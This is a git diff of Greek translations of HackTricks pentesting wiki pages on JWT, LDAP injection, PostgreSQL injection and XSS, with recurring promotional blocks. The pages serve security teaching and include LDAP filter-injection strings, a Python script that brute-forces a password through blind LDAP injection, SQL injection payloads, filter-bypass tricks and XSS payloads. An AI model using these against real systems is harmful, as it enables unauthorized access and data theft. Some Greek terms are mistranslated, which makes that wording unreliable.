Το περιεχόμενο του token, συμπεριλαμβανομένης της ανάλυσης της χρονικής σήμανσης και του ελέγχου λήξης (χρονική σήμανση σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας τη σημαία -R του εργαλείου jwt\_tool.
* Ένας κίνδυνος ασφαλείας μπορεί να υπάρχει εάν η εφαρμογή εξακολουθεί να επικυρώνει το τοκέν, καθώς αυτό μπορεί να σημαίνει ότι το τοκέν δεν θα μπορούσε ποτέ να λήξει.
* Ένας κίνδυνος ασφαλείας μπορεί να υπάρχει εάν η εφαρμογή εξακολουθεί να επικυρώνει το token, καθώς αυτό μπορεί να σημαίνει ότι το token δεν μπορεί ποτέ να λήξει.
### Εργαλεία
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Εάν σας ενδιαφέρει η **επαγγελματική ανάπτυξη στο χώρο του χάκινγκ** και το χάκινγκ του αδύνατου - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση της πολωνικής γλώσσας, γραπτή και προφορική_).
Εάν σας ενδιαφέρει η **επαγγελματική ανάπτυξη** και το χάκινγκ του αδύνατου - **αναζητούμε προσωπικό!** (_απαιτείται άριστη γνώση της πολωνικής γλώσσας, τόσο γραπτά όσο και προφορικά_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -271,6 +271,6 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,10 +1,10 @@
# LDAP Εισβολή
# LDAP Injection
## LDAP Εισβολή
## LDAP Injection
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -12,17 +12,17 @@
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και το χάκαρισμα του αχάκαρτου - **προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
{% embed url="https://www.stmcyber.com/careers" %}
## LDAP Εισβολή
## LDAP Injection
### **LDAP**
@ -32,7 +32,7 @@
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
Η **LDAP Εισβολή** είναι μια επίθεση που στοχεύει σε web εφαρμογές που κατασκευάζουν δηλώσεις LDAP από την είσοδο του χρήστη. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **διαμορφώσουν δηλώσεις LDAP** μέσω ενός τοπικού proxy, που ενδέχεται να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση ή διαμόρφωση δεδομένων.
**Η εισβολή LDAP (LDAP Injection)** είναι μια επίθεση που στοχεύει σε web εφαρμογές που κατασκευάζουν δηλώσεις LDAP από είσοδο χρήστη. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **διαχειριστούν τις δηλώσεις LDAP** μέσω ενός τοπικού διαμεσολαβητή, που ενδέχεται να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση ή διαμόρφωση δεδομένων.
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -50,7 +50,7 @@
**Initial** = assertionvalue\
**Final** = assertionvalue\
**(&)** = Απόλυτη ΑΛΗΘΕΙΑ\
**(|)** = Απόλυτη ΨΕΥΔΟΣ
**(|)** = Απόλυτο ΨΕΜΑ
Για παράδειγμα:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
@ -58,7 +58,7 @@
Μπορείτε να έχετε πρόσβαση στη βάση δεδομένων, η οποία μπορεί να περιέχει πληροφορίες πολλών διαφορετικών τύπων.
**OpenLDAP**: Εάν φτάσουν 2 φίλτρα, εκτελεί μόνο το πρώτο.\
**OpenLDAP**: Εάν φτάσουν 2 φίλτρα, εκτελείται μόνο το πρώτο.\
**ADAM ή Microsoft LDS**: Με 2 φίλτρα εκτοξεύουν ένα σφάλμα.\
**SunOne Directory Server 5.0**: Εκτελούν και τα δύο φίλτρα.
@ -151,7 +151,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
```
#### Απορρόφηση δεδομένων
Μπορείτε να επαναλάβετε τους χαρακτήρες ASCII, ψηφία και σύμβολα:
Μπορείτε να επαναλάβετε τους ASCII χαρακτήρες, ψηφία και σύμβολα:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
@ -166,7 +166,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
#### **Ανακάλυψη έγκυρων πεδίων LDAP**
Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που μπορούν να χρησιμοποιηθούν για τη **αποθήκευση πληροφοριών**. Μπορείτε να δοκιμάσετε να **εξαναγκάσετε όλα αυτά τα πεδία για να εξάγετε αυτές τις πληροφορίες**. Μπορείτε να βρείτε μια λίστα με [**προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που μπορούν να χρησιμοποιηθούν για τη **αποθήκευση πληροφοριών**. Μπορείτε να δοκιμάσετε να **εξαναγκάσετε όλα αυτά για να εξάγετε αυτές τις πληροφορίες**. Μπορείτε να βρείτε μια λίστα με [**προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
@ -215,8 +215,6 @@ flag += char
print("[+] Flag: " + flag)
break
```
### Google Dorks
### Google Dorks
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
@ -225,22 +223,22 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Εάν ενδιαφέρεστε για **καριέρα στο χάκινγκ** και για να χακάρετε το αχακάριστο - **προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
Εάν ενδιαφέρεστε για **καριέρα στο χάκινγκ** και για να χακάρετε το αχακάριστο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν στον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -1,4 +1,4 @@
# Εισαγωγή PostgreSQL
# Εισροή PostgreSQL
<details>
@ -14,27 +14,27 @@
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέβατο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και το χάκαρισμα του αχάκαρτου - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
{% embed url="https://www.stmcyber.com/careers" %}
***
**Αυτή η σελίδα στοχεύει να εξηγήσει διαφορετικά κόλπα που θα μπορούσαν να σας βοηθήσουν να εκμεταλλευτείτε μια εισαγωγή SQL που βρέθηκε σε μια βάση δεδομένων postgresql και να συμπληρώσετε τα κόλπα που μπορείτε να βρείτε στο** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
**Αυτή η σελίδα στοχεύει να εξηγήσει διαφορετικά κόλπα που θα μπορούσαν να σας βοηθήσουν να εκμεταλλευτείτε μια εισροή SQL που βρέθηκε σε μια βάση δεδομένων postgresql και να συμπληρώσετε τα κόλπα που μπορείτε να βρείτε στο** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
## Δικτυακή Αλληλεπίδραση - Ανόρθωση Προνομίων, Σαρωτής Θυρών, Αποκάλυψη Απόκρισης Πρόκλησης NTLM & Εξυπράκτιση
## Δικτυακή Αλληλεπίδραση - Ανόρθωση Προνομίων, Σαρωτής Θυρών, Αποκάλυψη Απόκρισης Πρόκλησης NTLM & Εξυπρέπεια
Το **module PostgreSQL `dblink`** προσφέρει δυνατότητες για σύνδεση με άλλα περιβάλλοντα PostgreSQL και εκτέλεση συνδέσεων TCP. Αυτές οι λειτουργίες, σε συνδυασμό με τη λειτουργικότητα `COPY FROM`, επιτρέπουν ενέργειες όπως ανόρθωση προνομίων, σάρωση θυρών και καταγραφή απόκρισης πρόκλησης NTLM. Για λεπτομερείς μεθόδους εκτέλεσης αυτών των επιθέσεων ελέγξτε πώς να [εκτελέσετε αυτές τις επιθέσεις](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
Το **module PostgreSQL `dblink`** προσφέρει δυνατότητες για σύνδεση με άλλα περιστατικά PostgreSQL και εκτέλεση συνδέσεων TCP. Αυτές οι λειτουργίες, σε συνδυασμό με τη λειτουργικότητα `COPY FROM`, επιτρέπουν ενέργειες όπως ανόρθωση προνομίων, σάρωση θυρών και καταγραφή απόκρισης πρόκλησης NTLM. Για λεπτομερείς μεθόδους εκτέλεσης αυτών των επιθέσεων ελέγξτε πώς να [εκτελέσετε αυτές τις επιθέσεις](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
### **Παράδειγμα εξυπράκτισης χρησιμοποιώντας dblink και μεγάλα αντικείμενα**
### **Παράδειγμα εξυπρέπειας χρησιμοποιώντας dblink και μεγάλα αντικείμενα**
Μπορείτε να [**διαβάσετε αυτό το παράδειγμα**](dblink-lo\_import-data-exfiltration.md) για να δείτε ένα παράδειγμα CTF **πώς να φορτώσετε δεδομένα μέσα σε μεγάλα αντικείμενα και στη συνέχεια να εξυπρακτίσετε το περιεχόμενο των μεγάλων αντικειμένων μέσα στο όνομα χρήστη** της λειτουργίας `dblink_connect`.
Μπορείτε να [**διαβάσετε αυτό το παράδειγμα**](dblink-lo\_import-data-exfiltration.md) για να δείτε ένα παράδειγμα CTF **πώς να φορτώσετε δεδομένα μέσα σε μεγάλα αντικείμενα και στη συνέχεια να εξυπρετείτε το περιεχόμενο των μεγάλων αντικειμένων μέσα στο όνομα χρήστη** της λειτουργίας `dblink_connect`.
## Επιθέσεις PostgreSQL: Ανάγνωση/εγγραφή, RCE, ανόρθωση προνομίων
Ελέγξτε πώς να διακινδυνεύσετε τον υπολογιστή και να αναβαθμίσετε προνόμια από το PostgreSQL σε:
Ελέγξτε πώς να διακινδυνεύσετε τον κεντρικό υπολογιστή και να αναβαθμίσετε προνόμια από το PostgreSQL σε:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
@ -44,12 +44,12 @@
### Συναρτήσεις Συμβολοσειράς PostgreSQL
Η διαχείριση συμβολοσειρών μπορεί να σας βοηθήσει να **παρακάμψετε τα WAFs ή άλλους περιορισμούς**.\
[**Σε αυτήν τη σελίδα** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**μπορείτε να βρείτε μερικές χρήσιμες συναρτήσεις συμβολοσειράς.**
Η διαχείριση συμβόλων μπορεί να σας βοηθήσει να **παρακάμψετε τα WAFs ή άλλους περιορισμούς**.\
[**Σε αυτήν τη σελίδα** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**μπορείτε να βρείτε μερικές χρήσιμες συναρτήσεις συμβόλων.**
### Στοίβα Ερωτημάτων
Θυμηθείτε ότι το postgresql υποστηρίζει στοίβα ερωτημάτων, αλλά πολλές εφαρμογές θα εμφανίσουν σφάλμα αν επιστραφούν 2 απαντήσεις όταν αναμένουν μόνο 1. Ωστόσο, μπορείτε ακόμα να καταχρηστείτε τις στοιβαγμένες ερωτήσεις μέσω ενέσεων Χρόνου:
Θυμηθείτε ότι το postgresql υποστηρίζει στοίβα ερωτημάτων, αλλά πολλές εφαρμογές θα εμφανίσουν σφάλμα αν επιστραφούν 2 απαντήσεις όταν αναμένουν μόνο 1. Ωστόσο, μπορείτε ακόμα να καταχρηστείτε τις στοιβαγμένες ερωτήσεις μέσω εισροής χρόνου:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@ -58,19 +58,19 @@ id=1; select pg_sleep(10);-- -
**query\_to\_xml**
Αυτή η συνάρτηση θα επιστρέψει όλα τα δεδομένα σε μορφή XML σε ένα μόνο αρχείο. Είναι ιδανικό αν θέλετε να αδειάσετε πολλά δεδομένα σε μόνο 1 σειρά:
Αυτή η συνάρτηση θα επιστρέψει όλα τα δεδομένα σε μορφή XML σε ένα μόνο αρχείο. Είναι ιδανική εάν θέλετε να αποθηκεύσετε μεγάλο όγκο δεδομένων σε μία μόνο γραμμή:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database\_to\_xml**
Αυτή η συνάρτηση θα αδειάσει ολόκληρη τη βάση δεδομένων σε μορφή XML μέσα σε μόνο 1 σειρά (να είστε προσεκτικοί αν η βάση δεδομένων είναι πολύ μεγάλη καθώς μπορεί να προκαλέσετε DoS ή ακόμα και στον ίδιο σας τον client):
Αυτή η συνάρτηση θα αδειάσει ολόκληρη τη βάση δεδομένων σε μορφή XML σε μόλις 1 σειρά (να είστε προσεκτικοί αν η βάση δεδομένων είναι πολύ μεγάλη, καθώς μπορεί να προκαλέσετε DoS ή ακόμα και στον ίδιο σας τον πελάτη):
```sql
SELECT database_to_xml(true,true,'');
```
### Συμβολοσειρές σε Hex
Εάν μπορείτε να εκτελέσετε **ερωτήματα** περνώντας τα μέσα από μια **συμβολοσειρά** (για παράδειγμα χρησιμοποιώντας τη λειτουργία **`query_to_xml`**). **Μπορείτε να χρησιμοποιήσετε την `convert_from` για να περάσετε τη συμβολοσειρά ως hex και να παρακάμψετε τα φίλτρα με αυτόν τον τρόπο:**
Εάν μπορείτε να εκτελέσετε **ερωτήματα** περνώντας τα **μέσα από μια συμβολοσειρά** (για παράδειγμα χρησιμοποιώντας τη λειτουργία **`query_to_xml`**). **Μπορείτε να χρησιμοποιήσετε την `convert_from` για να περάσετε τη συμβολοσειρά ως hex και να παρακάμψετε τα φίλτρα με αυτόν τον τρόπο:**
```sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
@ -94,15 +94,15 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Εάν ενδιαφέρεστε για **καριέρα στο χάκινγκ** και για να χακάρετε το αχακάρευτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής γλώσσας_).
Εάν ενδιαφέρεστε για **καριέρα στο χάκινγκ** και για να χακάρετε το αχακάριστο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν στον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:

View file

@ -1,8 +1,8 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Εάν ενδιαφέρεστε για **καριέρα στο χάκινγκ** και θέλετε να χακεύσετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού πολωνικού_).
Εάν ενδιαφέρεστε για **καριέρα στο χάκινγκ** και θέλετε να χακεύσετε το αδύνατο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού πολωνικού_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -11,29 +11,29 @@
1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, ιαδρομή_, _κεφαλίδες_?, _cookies_?) αντανακλάται στο HTML ή **χρησιμοποιείται** από **κώδικα JS**.
2. Βρείτε το **πλαίσιο** όπου αντανακλάται/χρησιμοποιείται.
3. Εάν **αντανακλάται**
1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα με αυτό, ετοιμάστε το φορτίο:
1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα με αυτό, ετοιμάστε το payload:
1. Σε **ακατέργαστο HTML**:
1. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML;
2. Μπορείτε να χρησιμοποιήσετε συμβάντα ή γνωρίσματα που υποστηρίζουν το πρωτόκολλο `javascript:`;
3. Μπορείτε να παρακάμψετε προστασίες;
4. Το περιεχόμενο HTML ερμηνεύεται από κάποιον μηχανισμό JS στην πλευρά του πελάτη (_AngularJS_, _VueJS_, _Mavo_...), μπορείτε να εκμεταλλευτείτε μια [**Ενσωμάτωση Προτύπου Πλευράς Πελάτη**](../client-side-template-injection-csti.md).
4. Το περιεχόμενο HTML ερμηνεύεται από κάποιον κινητήρα JS στην πλευρά του πελάτη (_AngularJS_, _VueJS_, _Mavo_...), μπορείτε να εκμεταλλευτείτε μια [**Ενσωμάτωση Προτύπου Πλευράς Πελάτη**](../client-side-template-injection-csti.md).
5. Εάν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, μπορείτε να εκμεταλλευτείτε ένα [**Κρεμασμένο Σήμα - Ενσωμάτωση HTML χωρίς script**](../dangling-markup-html-scriptless-injection/);
2. Μέσα σε μια **ετικέτα HTML**:
1. Μπορείτε να βγείτε στο ακατέργαστο περιβάλλον HTML;
1. Μπορείτε να βγείτε στο πλαίσιο ακατέργαστου HTML;
2. Μπορείτε να δημιουργήσετε νέα συμβάντα/γνωρίσματα για να εκτελέσετε κώδικα JS;
3. Υποστηρίζει το γνώρισμα όπου είστε παγιδευμένοι την εκτέλεση JS;
3. Υποστηρίζει το γνώρισμα όπου είστε παγιδευμένος την εκτέλεση JS;
4. Μπορείτε να παρακάμψετε προστασίες;
3. Μέσα σε **κώδικα JavaScript**:
3. Μέσα στον **κώδικα JavaScript**:
1. Μπορείτε να δραπετεύσετε την ετικέτα `<script>`;
2. Μπορείτε να δραπετεύσετε τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS;
3. Είναι η είσοδός σας σε πρότυπα προτάσεων \`\`;
4. Μπορείτε να παρακάμψετε προστασίες;
4. Η **συνάρτηση** JavaScript που **εκτελείται**
4. Η **συνάρτηση JavaScript** που **εκτελείται**
1. Μπορείτε να υποδείξετε το όνομα της συνάρτησης προς εκτέλεση. π.χ.: `?callback=alert(1)`
4. Εάν **χρησιμοποιείται**:
1. Μπορείτε να εκμεταλλευτείτε ένα **DOM XSS**, προσέξτε πώς ελέγχεται η είσοδός σας και αν η **ελεγχόμενη είσοδος σας χρησιμοποιείται από κάποια διαρροή.**
1. Μπορείτε να εκμεταλλευτείτε ένα **DOM XSS**, προσέξτε πώς ελέγχεται η είσοδός σας και αν η **ελεγχόμενη είσοδός σας χρησιμοποιείται από κάποια διαρροή.**
Όταν εργάζεστε σε ένα πολύπλοκο XSS μπορεί να είναι ενδιαφέρον να γνωρίζετε για:
Κατά την εργασία σε ένα πολύπλοκο XSS μπορεί να σας ενδιαφέρει να γνωρίζετε για:
{% content-ref url="debugging-client-side-js.md" %}
[debugging-client-side-js.md](debugging-client-side-js.md)
@ -45,7 +45,7 @@
* **Ενδιάμεσα αντανακλώμενες**: Εάν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμα και η διαδρομή αντανακλάται στην ιστοσελίδα, μπορείτε να εκμεταλλευτείτε ένα **Αντανακλώμενο XSS**.
* **Αποθηκευμένες και αντανακλώμενες**: Εάν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανακλάται κάθε φορά που έχετε πρόσβαση σε μια σελίδα, μπορείτε να εκμεταλλευτείτε ένα **Αποθηκευμένο XSS**.
* **Προσπελάζεται μέσω JS**: Εάν βρείτε ότι μια τιμή που ελέγχετε προσπελάζεται χρησιμοποιώντας JS, μπορείτε να εκμεταλλευτείτε ένα **DOM XSS**.
* **Προσπελάστε μέσω JS**: Εάν βρείτε ότι μια τιμή που ελέγχετε προσπελάζεται χρησιμοποιώντας JS, μπορείτε να εκμεταλλευτείτε ένα **DOM XSS**.
## Πλαίσια
@ -75,12 +75,12 @@
Σε αυτήν την περίπτωση, η είσοδός σας αντανακλάται μεταξύ των ετικετών **`<script> [...] </script>`** ενός HTML σελίδας, μέσα σε ένα αρχείο `.js` ή μέσα σε ένα γνώρισμα χρησιμοποιώντας το πρωτόκολλο **`javascript:`**:
* Αν αντανακλάται μεταξύ των ετικετών **`<script> [...] </script>`**, ακόμα κι αν η είσοδός σας βρίσκεται μέσα σε οποιοδήποτε είδος εισαγωγικών, μπορείτε να δοκιμάσετε να εισάγετε `</script>` και να δραπετεύσετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και μετά το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι το εισαγόμενο σας `</script>` είναι μέσα στον κώδικα HTML.
* Αν αντανακλάται μεταξύ των ετικετών **`<script> [...] </script>`**, ακόμα κι αν η είσοδός σας βρίσκεται μέσα σε οποιοδήποτε είδος εισαγωγικών, μπορείτε να προσπαθήσετε να εισάγετε το `</script>` και να δραπετεύσετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και μετά το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι το εισαγόμενο σας `</script>` είναι μέσα στον κώδικα HTML.
* Αν αντανακλάται **μέσα σε μια συμβολοσειρά JS** και η προηγούμενη τεχνική δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, να **εκτελέσετε** τον κώδικά σας και να **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* Αν αντανακλάται μέσα σε πρότυπα κυρίως, μπορείτε να **ενσωματώσετε εκφράσεις JS** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
* Αν αντανακλάται μέσα σε πρότυπα κυρίως μπορείτε να **ενσωματώσετε εκφράσεις JS** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
* Η **κωδικοποίηση Unicode** λειτουργεί για να γράψετε **έγκυρο κώδικα JavaScript**:
```javascript
\u{61}lert(1)
@ -104,9 +104,9 @@
![](<../../.gitbook/assets/image (708).png>)
Σε περίπτωση που είναι ευάλωτο, μπορείτε να **ενεργοποιήσετε ένα ειδοποιητή** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα σημεία να **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**).
